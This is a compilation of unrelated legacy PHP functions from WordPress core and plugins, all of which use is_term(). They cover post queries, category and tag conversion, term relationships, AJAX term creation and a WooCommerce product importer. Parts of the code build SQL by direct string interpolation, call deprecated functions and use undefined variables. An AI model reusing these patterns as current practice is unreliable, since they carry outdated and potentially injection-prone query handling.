do_action('posts_selection', $where . $groupby . $orderby . $limits . $join); // Filter again for the benefit of caching plugins. Regular plugins should use the hooks above. if (!$q['suppress_filters']) { $where = apply_filters('posts_where_request', $where); $groupby = apply_filters('posts_groupby_request', $groupby); $join = apply_filters('posts_join_request', $join); $orderby = apply_filters('posts_orderby_request', $orderby); $distinct = apply_filters('posts_distinct_request', $distinct); $fields = apply_filters('posts_fields_request', $fields); $limits = apply_filters('post_limits_request', $limits); } if (!empty($groupby)) { $groupby = 'GROUP BY ' . $groupby; } if (!empty($orderby)) { $orderby = 'ORDER BY ' . $orderby; } $found_rows = ''; if (!empty($limits)) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $this->request = " SELECT {$found_rows} {$distinct} {$fields} FROM {$wpdb->posts} {$join} WHERE 1=1 {$where} {$groupby} {$orderby} {$limits}"; if (!$q['suppress_filters']) { $this->request = apply_filters('posts_request', $this->request); } $this->posts = $wpdb->get_results($this->request); // Raw results filter. Prior to status checks. if (!$q['suppress_filters']) { $this->posts = apply_filters('posts_results', $this->posts); } if (!empty($this->posts) && $this->is_comment_feed && $this->is_singular) { $cjoin = apply_filters('comment_feed_join', ''); $cwhere = apply_filters('comment_feed_where', "WHERE comment_post_ID = '{$this->posts[0]->ID}' AND comment_approved = '1'"); $comments_request = "SELECT {$wpdb->comments}.* FROM {$wpdb->comments} {$cjoin} {$cwhere} ORDER BY comment_date_gmt DESC LIMIT " . get_option('posts_per_rss'); $this->comments = $wpdb->get_results($comments_request); $this->comment_count = count($this->comments); } if (!empty($limits)) { $found_posts_query = apply_filters('found_posts_query', 'SELECT FOUND_ROWS()'); $this->found_posts = $wpdb->get_var($found_posts_query); $this->found_posts = apply_filters('found_posts', $this->found_posts); $this->max_num_pages = ceil($this->found_posts / $q['posts_per_page']); } // Check post status to determine if post should be displayed. if (!empty($this->posts) && ($this->is_single || $this->is_page)) { $status = get_post_status($this->posts[0]); //$type = get_post_type($this->posts[0]); if ('publish' != $status) { if (!is_user_logged_in()) { // User must be logged in to view unpublished posts. $this->posts = array(); } else { if (in_array($status, array('draft', 'pending'))) { // User must have edit permissions on the draft to preview. if (!current_user_can('edit_post', $this->posts[0]->ID)) { $this->posts = array(); } else { $this->is_preview = true; $this->posts[0]->post_date = current_time('mysql'); } } else { if ('future' == $status) { $this->is_preview = true; if (!current_user_can('edit_post', $this->posts[0]->ID)) { $this->posts = array(); } } else { if (!current_user_can('read_post', $this->posts[0]->ID)) { $this->posts = array(); } } } } } if ($this->is_preview && current_user_can("edit_{$post_type}", $this->posts[0]->ID)) { $this->posts[0] = apply_filters('the_preview', $this->posts[0]); } } // Put sticky posts at the top of the posts array $sticky_posts = get_option('sticky_posts'); if ($this->is_home && $page <= 1 && !empty($sticky_posts) && !$q['caller_get_posts']) { $num_posts = count($this->posts); $sticky_offset = 0; // Loop over posts and relocate stickies to the front. for ($i = 0; $i < $num_posts; $i++) { if (in_array($this->posts[$i]->ID, $sticky_posts)) { $sticky_post = $this->posts[$i]; // Remove sticky from current position array_splice($this->posts, $i, 1); // Move to front, after other stickies array_splice($this->posts, $sticky_offset, 0, array($sticky_post)); // Increment the sticky offset. The next sticky will be placed at this offset. $sticky_offset++; // Remove post from sticky posts array $offset = array_search($sticky_post->ID, $sticky_posts); array_splice($sticky_posts, $offset, 1); } } // Fetch sticky posts that weren't in the query results if (!empty($sticky_posts)) { $stickies__in = implode(',', array_map('absint', $sticky_posts)); $stickies = $wpdb->get_results("SELECT * FROM {$wpdb->posts} WHERE {$wpdb->posts}.ID IN ({$stickies__in})"); /** @todo Make sure post is published or viewable by the current user */ foreach ($stickies as $sticky_post) { if ('publish' != $sticky_post->post_status) { continue; } array_splice($this->posts, $sticky_offset, 0, array($sticky_post)); $sticky_offset++; } } } if (!$q['suppress_filters']) { $this->posts = apply_filters('the_posts', $this->posts); } update_post_caches($this->posts); $this->post_count = count($this->posts); if ($this->post_count > 0) { $this->post = $this->posts[0]; } return $this->posts; }
function links2wp($links = '') { // General Housekeeping global $wpdb; $count = 0; // Deal with the links if (is_array($links)) { echo '<p>' . __('Importing Links...') . '<br /><br /></p>'; foreach ($links as $link) { $count++; extract($link); if ($title != "") { if ($cinfo = is_term(csc($title), 'link_category')) { $category = $cinfo['term_id']; } else { $category = wp_insert_term($wpdb->escape(csc($title)), 'link_category'); $category = $category['term_id']; } } else { $linkname = $wpdb->escape(csc($label)); $description = $wpdb->escape(csc($title)); if ($linfo = link_exists($linkname)) { $ret_id = wp_insert_link(array('link_id' => $linfo, 'link_url' => $href, 'link_name' => $linkname, 'link_category' => $category, 'link_description' => $description)); } else { $ret_id = wp_insert_link(array('link_url' => $url, 'link_name' => $linkname, 'link_category' => $category, 'link_description' => $description)); } $dclinks2wplinks[$link_id] = $ret_id; } } add_option('dclinks2wplinks', $dclinks2wplinks); echo '<p>'; printf(__('Done! <strong>%s</strong> links or link categories imported'), $count); echo '<br /><br /></p>'; return true; } echo __('No Links to Import!'); return false; }
/** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $tag_name * @return unknown */ function wp_create_term($tag_name, $taxonomy = 'post_tag') { if ($id = is_term($tag_name, $taxonomy)) { return $id; } return wp_insert_term($tag_name, $taxonomy); }
function convert_categories() { global $wpdb; if ((!isset($_POST['cats_to_convert']) || !is_array($_POST['cats_to_convert'])) && empty($this->categories_to_convert)) { ?> <div class="narrow"> <p><?php printf(__('Uh, oh. Something didn’t work. Please <a href="%s">try again</a>.'), 'admin.php?import=wp-cat2tag'); ?> </p> </div> <?php return; } if (empty($this->categories_to_convert)) { $this->categories_to_convert = $_POST['cats_to_convert']; } $hier = _get_term_hierarchy('category'); $hybrid_cats = $clear_parents = $parents = false; $clean_term_cache = $clean_cat_cache = array(); $default_cat = get_option('default_category'); echo '<ul>'; foreach ((array) $this->categories_to_convert as $cat_id) { $cat_id = (int) $cat_id; if (!$this->_category_exists($cat_id)) { echo '<li>' . sprintf(__('Category %s doesn\'t exist!'), $cat_id) . "</li>\n"; } else { $category =& get_category($cat_id); echo '<li>' . sprintf(__('Converting category <strong>%s</strong> ... '), $category->name); // If the category is the default, leave category in place and create tag. if ($default_cat == $category->term_id) { if (!($id = is_term($category->slug, 'post_tag'))) { $id = wp_insert_term($category->name, 'post_tag', array('slug' => $category->slug)); } $id = $id['term_taxonomy_id']; $posts = get_objects_in_term($category->term_id, 'category'); $term_order = 0; foreach ($posts as $post) { $values[] = $wpdb->prepare("(%d, %d, %d)", $post, $id, $term_order); clean_post_cache($post); } if ($values) { $wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $category->count, $category->term_id)); } echo __('Converted successfully.') . "</li>\n"; continue; } // if tag already exists, add it to all posts in the category if ($tag_ttid = $wpdb->get_var($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id = %d AND taxonomy = 'post_tag'", $category->term_id))) { $objects_ids = get_objects_in_term($category->term_id, 'category'); $tag_ttid = (int) $tag_ttid; $term_order = 0; foreach ($objects_ids as $object_id) { $values[] = $wpdb->prepare("(%d, %d, %d)", $object_id, $tag_ttid, $term_order); } if ($values) { $wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); $count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->term_relationships} WHERE term_taxonomy_id = %d", $tag_ttid)); $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $count, $category->term_id)); } echo __('Tag added to all posts in this category.') . " *</li>\n"; $hybrid_cats = true; $clean_term_cache[] = $category->term_id; $clean_cat_cache[] = $category->term_id; continue; } $tt_ids = $wpdb->get_col($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id = %d AND taxonomy = 'category'", $category->term_id)); if ($tt_ids) { $posts = $wpdb->get_col("SELECT object_id FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN (" . join(',', $tt_ids) . ") GROUP BY object_id"); foreach ((array) $posts as $post) { clean_post_cache($post); } } // Change the category to a tag. $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET taxonomy = 'post_tag' WHERE term_id = %d AND taxonomy = 'category'", $category->term_id)); // Set all parents to 0 (root-level) if their parent was the converted tag $parents = $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET parent = 0 WHERE parent = %d AND taxonomy = 'category'", $category->term_id)); if ($parents) { $clear_parents = true; } $clean_cat_cache[] = $category->term_id; echo __('Converted successfully.') . "</li>\n"; } } echo '</ul>'; if (!empty($clean_term_cache)) { $clean_term_cache = array_unique(array_values($clean_term_cache)); foreach ($clean_term_cache as $id) { wp_cache_delete($id, 'post_tag'); } } if (!empty($clean_cat_cache)) { $clean_cat_cache = array_unique(array_values($clean_cat_cache)); foreach ($clean_cat_cache as $id) { wp_cache_delete($id, 'category'); } } if ($clear_parents) { delete_option('category_children'); } if ($hybrid_cats) { echo '<p>' . sprintf(__('* This category is also a tag. The converter has added that tag to all posts currently in the category. If you want to remove it, please confirm that all tags were added successfully, then delete it from the <a href="%s">Manage Categories</a> page.'), 'categories.php') . '</p>'; } echo '<p>' . sprintf(__('We’re all done here, but you can always <a href="%s">convert more</a>.'), 'admin.php?import=wp-cat2tag') . '</p>'; }
/** * wp_set_object_terms() - * * Relates an object (post, link etc) to a term and taxonomy type. Creates the term and taxonomy * relationship if it doesn't already exist. Creates a term if it doesn't exist (using the slug). * * @global $wpdb Database Object * @param int $object_id The object to relate to. * @param array|int|string $term The slug or id of the term. * @param array|string $taxonomy The context in which to relate the term to the object. * @param bool $append If false will delete difference of terms. */ function wp_set_object_terms($object_id, $terms, $taxonomy, $append = false) { global $wpdb; $object_id = (int) $object_id; if ( ! is_taxonomy($taxonomy) ) return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); if ( !is_array($terms) ) $terms = array($terms); if ( ! $append ) $old_terms = wp_get_object_terms($object_id, $taxonomy, 'fields=tt_ids'); $tt_ids = array(); $term_ids = array(); foreach ($terms as $term) { if ( !$id = is_term($term, $taxonomy) ) $id = wp_insert_term($term, $taxonomy); $term_ids[] = $id['term_id']; $id = $id['term_taxonomy_id']; $tt_ids[] = $id; if ( $wpdb->get_var("SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = '$object_id' AND term_taxonomy_id = '$id'") ) continue; $wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id) VALUES ('$object_id', '$id')"); } wp_update_term_count($tt_ids, $taxonomy); if ( ! $append ) { $delete_terms = array_diff($old_terms, $tt_ids); if ( $delete_terms ) { $in_delete_terms = "'" . implode("', '", $delete_terms) . "'"; $wpdb->query("DELETE FROM $wpdb->term_relationships WHERE object_id = '$object_id' AND term_taxonomy_id IN ($in_delete_terms)"); wp_update_term_count($delete_terms, $taxonomy); } } return $tt_ids; }
function _wp_ajax_add_hierarchical_term() { $action = $_POST['action']; $taxonomy = get_taxonomy(substr($action, 4)); check_ajax_referer($action); if (!current_user_can($taxonomy->edit_cap)) { die('-1'); } $names = explode(',', $_POST['new' . $taxonomy->name]); $parent = isset($_POST['new' . $taxonomy->name . '_parent']) ? (int) $_POST['new' . $taxonomy->name . '_parent'] : 0; if (0 > $parent) { $parent = 0; } if ($taxonomy->name == 'category') { $post_category = isset($_POST['post_category']) ? (array) $_POST['post_category'] : array(); } else { $post_category = isset($_POST['tax_input']) && isset($_POST['tax_input'][$taxonomy->name]) ? (array) $_POST['tax_input'][$taxonomy->name] : array(); } $checked_categories = array_map('absint', (array) $post_category); $popular_ids = wp_popular_terms_checklist($taxonomy->name, 0, 10, false); foreach ($names as $cat_name) { $cat_name = trim($cat_name); $category_nicename = sanitize_title($cat_name); if ('' === $category_nicename) { continue; } if (!($cat_id = is_term($cat_name, $taxonomy->name, $parent))) { $new_term = wp_insert_term($cat_name, $taxonomy->name, array('parent' => $parent)); $cat_id = $new_term['term_id']; } $checked_categories[] = $cat_id; if ($parent) { // Do these all at once in a second continue; } $category = get_term($cat_id, $taxonomy->name); ob_start(); wp_terms_checklist(0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $cat_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids)); $data = ob_get_contents(); ob_end_clean(); $add = array('what' => $taxonomy->name, 'id' => $cat_id, 'data' => str_replace(array("\n", "\t"), '', $data), 'position' => -1); } if ($parent) { // Foncy - replace the parent and all its children $parent = get_term($parent, $taxonomy->name); $term_id = $parent->term_id; while ($parent->parent) { // get the top parent $parent =& get_term($parent->parent, $taxonomy->name); if (is_wp_error($parent)) { break; } $term_id = $parent->term_id; } ob_start(); wp_terms_checklist(0, array('taxonomy' => $taxonomy->name, 'descendants_and_self' => $term_id, 'selected_cats' => $checked_categories, 'popular_cats' => $popular_ids)); $data = ob_get_contents(); ob_end_clean(); $add = array('what' => $taxonomy->name, 'id' => $term_id, 'data' => str_replace(array("\n", "\t"), '', $data), 'position' => -1); } ob_start(); wp_dropdown_categories(array('taxonomy' => $taxonomy->name, 'hide_empty' => 0, 'name' => 'new' . $taxonomy->name . '_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => sprintf(__('— Parent %s —'), $taxonomy->singular_label))); $sup = ob_get_contents(); ob_end_clean(); $add['supplemental'] = array('newcat_parent' => $sup); $x = new WP_Ajax_Response($add); $x->send(); }
/** * wp_set_object_terms() - Create Term and Taxonomy Relationships * * Relates an object (post, link etc) to a term and taxonomy type. Creates the term and taxonomy * relationship if it doesn't already exist. Creates a term if it doesn't exist (using the slug). * * A relationship means that the term is grouped in or belongs to the taxonomy. A term has no * meaning until it is given context by defining which taxonomy it exists under. * * @package WordPress * @subpackage Taxonomy * @since 2.3 * @uses $wpdb * * @param int $object_id The object to relate to. * @param array|int|string $term The slug or id of the term. * @param array|string $taxonomy The context in which to relate the term to the object. * @param bool $append If false will delete difference of terms. * @return array|WP_Error Affected Term IDs */ function wp_set_object_terms($object_id, $terms, $taxonomy, $append = false) { global $wpdb; $object_id = (int) $object_id; if ( ! is_taxonomy($taxonomy) ) return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); if ( !is_array($terms) ) $terms = array($terms); if ( ! $append ) $old_terms = wp_get_object_terms($object_id, $taxonomy, 'fields=tt_ids'); $tt_ids = array(); $term_ids = array(); foreach ($terms as $term) { if ( !strlen(trim($term)) ) continue; if ( !$id = is_term($term, $taxonomy) ) $id = wp_insert_term($term, $taxonomy); if ( is_wp_error($id) ) return $id; $term_ids[] = $id['term_id']; $id = $id['term_taxonomy_id']; $tt_ids[] = $id; if ( $wpdb->get_var( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $id ) ) ) continue; $wpdb->insert( $wpdb->term_relationships, array( 'object_id' => $object_id, 'term_taxonomy_id' => $id ) ); } wp_update_term_count($tt_ids, $taxonomy); if ( ! $append ) { $delete_terms = array_diff($old_terms, $tt_ids); if ( $delete_terms ) { $in_delete_terms = "'" . implode("', '", $delete_terms) . "'"; $wpdb->query("DELETE FROM $wpdb->term_relationships WHERE object_id = '$object_id' AND term_taxonomy_id IN ($in_delete_terms)"); wp_update_term_count($delete_terms, $taxonomy); } } $t = get_taxonomy($taxonomy); if ( ! $append && isset($t->sort) && $t->sort ) { $values = array(); $term_order = 0; $final_term_ids = wp_get_object_terms($object_id, $taxonomy, 'fields=tt_ids'); foreach ( $term_ids as $term_id ) if ( in_array($term_id, $final_term_ids) ) $values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $term_id, ++$term_order); if ( $values ) $wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); } return $tt_ids; }
function where_tag_str($tag_str) { global $wpdb; if (strpos($tag_str, ',') !== false) { $intags = explode(',', $tag_str); foreach ((array) $intags as $tag) { $tags[] = sanitize_term_field('name', $tag, 0, 'post_tag', 'db'); } $tag_type = 'any'; } else { if (strpos($tag_str, '+') !== false) { $intags = explode('+', $tag_str); foreach ((array) $intags as $tag) { $tags[] = sanitize_term_field('name', $tag, 0, 'post_tag', 'db'); } $tag_type = 'all'; } else { $tags[] = sanitize_term_field('name', $tag_str, 0, 'post_tag', 'db'); $tag_type = 'any'; } } $ids = array(); if ($tag_type == 'any') { foreach ($tags as $tag) { if (is_term($tag, 'post_tag')) { $t = get_term_by('name', $tag, 'post_tag'); $ids = array_merge($ids, get_objects_in_term($t->term_id, 'post_tag')); } } } else { foreach ($tags as $tag) { if (is_term($tag, 'post_tag')) { $t = get_term_by('name', $tag, 'post_tag'); if (count($ids) > 0) { $ids = array_intersect($ids, get_objects_in_term($t->term_id, 'post_tag')); } else { $ids = get_objects_in_term($t->term_id, 'post_tag'); } } } } if (is_array($ids) && count($ids) > 0) { $ids = array_unique($ids); $out_posts = "'" . implode("', '", $ids) . "'"; $sql .= "{$wpdb->posts}.ID IN ({$out_posts})"; } else { $sql .= "1 = 2"; } return $sql; }
function mediatags_postsJoin($join, $query) { global $wpdb, $wp_version; $mediatags_var = get_query_var(MEDIA_TAGS_QUERYVAR); if ($mediatags_var) { // echo __FUNCTION__ .": mediatags_var=[".$mediatags_var."]<br />"; // In WP 3.0 'is_term' was renamed to 'term_exists' if (version_compare($wp_version, '3.0', '<')) { $media_tags_chk = is_term($mediatags_var, MEDIA_TAGS_TAXONOMY); } else { $media_tags_chk = term_exists($mediatags_var, MEDIA_TAGS_TAXONOMY); } // echo __FUNCTION__ .": media_tags_chk<pre>"; print_r($media_tags_chk); echo "</pre>"; // echo __FUNCTION__ ."is_search=[".$query->is_search."]<br />"; if ($media_tags_chk && $query->is_search) { $mediatags_join = " INNER JOIN {$wpdb->term_relationships} \n\t\t\t\t\t\tON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) \n\t\t\t\t\t\tINNER JOIN {$wpdb->term_taxonomy} \n\t\t\t\t\t\tON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) "; $join .= $mediatags_join; // echo "join=[".$join."]<br />"; } } return $join; }
private function woocommerce_crea_prodotto_principale($prodotto) { $content = "Produttore: " . $prodotto["Mrc"] . "<br/>"; $content .= "Materiale: " . $prodotto["Mat"]; if ($prodotto["DttArt"]) { $DttArtArr = explode("|", $prodotto["DttArt"]); $content .= "<ul>"; foreach ($DttArtArr as $DttArt) { $content .= "<li>" . $DttArt . "</li>"; } $content .= "</ul>"; } $media_id = $this->carica_immagine_da_url($prodotto["FotoMax"]); $defaults = array('post_title' => trim($prodotto["NomArt"]), 'post_name' => sanitize_title($prodotto["NomArt"]), 'post_content' => $content, 'post_excerpt' => $prodotto['NomArtExt'], 'post_status' => $tipo == 'semplice' ? 'publish' : 'draft', 'post_type' => 'product', 'post_author' => 6, 'ping_status' => get_option('default_ping_status'), 'post_parent' => 0, 'menu_order' => 0, 'to_ping' => '', 'pinged' => '', 'post_password' => '', 'guid' => '', 'post_content_filtered' => ''); $metas = array('_edit_last' => 1, '_edit_lock' => $prodotto['_edit_lock'], '_visibility' => 'visible', '_stock_status' => 'instock', 'total_sales' => 0, '_downloadable' => 'no', '_virtual' => 'no', '_product_image_gallery' => 0, '_regular_price' => str_replace(",", ".", $prodotto['PrzCnsSct']), '_sale_price' => '', '_purchase_note' => '', '_featured' => 'no', '_weight' => '', '_length' => '', '_width' => '', '_height' => '', '_sku' => $prodotto['CodArt'], '_product_attributes' => '', '_sale_price_dates_from' => '', '_sale_price_dates_to' => '', '_price' => str_replace(",", ".", $prodotto['PrzCnsSct']), '_sold_individually' => 0, '_stock' => 0, '_backorders' => 0, '_manage_stock' => 0, 'slide_template' => 'default', '_thumbnail_id' => $media_id, '_yoast_wpseo_title' => $prodotto['NomArt'], '_yoast_wpseo_metadesc' => substr($prodotto['NomArtExt'], 0, 145) . "...", '_yoast_wpseo_focuskw' => 'sex toys, vibratori, bdsm, bondage, erotismo, masturbazione, piacere, desiderio, d***o, plug-anali, strap-on, lingeri, biancheria sexy', '_tax_status' => 'taxable', 'default_attributes' => array()); $post_id = wp_insert_post($defaults); // CATEGORY & SottoCategoria if ($prodotto["Cat"]) { $cat = get_term_by('slug', sanitize_title($prodotto["Cat"]), 'product_cat'); if ($cat == false) { $cat = wp_insert_term($prodotto["Cat"], "product_cat"); $cat_id = $cat->term_id; } else { $cat_id = $cat->term_id; } } if ($prodotto["SttCat"]) { $SttCat = get_term_by('slug', sanitize_title($prodotto["SttCat"]), 'product_cat'); if ($SttCat == false) { $SttCat = wp_insert_term($prodotto["SttCat"], "product_cat"); $sttcat_id = $SttCat->term_id; } else { $sttcat_id = $SttCat->term_id; } } wp_set_object_terms($post_id, array($cat_id, $sttcat_id), "product_cat"); // TAGS $prodotto['tag'] = $prodotto["Mrc"] . ", " . $prodotto["Cat"] . ", " . $prodotto["SttCat"]; if ($prodotto['tag']) { $tags = explode(', ', $prodotto['tag']); foreach ($tags as $solotag) { $solotag = trim($solotag); $check = is_term($solotag, 'product_tag'); if (is_null($check)) { $tag = wp_insert_term($solotag, 'product_tag'); if (!is_wp_error($tag)) { $tagid = $tag['term_id']; } else { $tagid = $check['term_id']; } } } wp_set_object_terms($post_id, $tags, 'product_tag'); } foreach ($metas as $k => $v) { update_post_meta($post_id, $k, $v); } return $post_id; }